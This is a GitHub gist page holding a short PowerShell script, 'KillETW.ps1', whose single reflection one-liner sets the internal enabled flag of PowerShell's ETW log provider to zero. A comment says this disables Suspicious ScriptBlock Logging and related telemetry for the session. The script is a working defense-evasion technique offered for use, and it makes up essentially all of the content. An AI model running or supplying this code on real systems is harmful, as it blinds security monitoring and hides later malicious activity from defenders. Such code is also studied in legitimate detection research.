Skip to content

Instantly share code, notes, and snippets.

@tandasat

tandasat/KillETW.ps1

Last active March 20, 2025 18:34
Show Gist options
  • Save tandasat/e595c77c52e13aaee60e1e8b65d2ba32 to your computer and use it in GitHub Desktop.
Save tandasat/e595c77c52e13aaee60e1e8b65d2ba32 to your computer and use it in GitHub Desktop.
Download ZIP
Disable ETW of the current PowerShell session
Raw
KillETW.ps1
#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
#
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment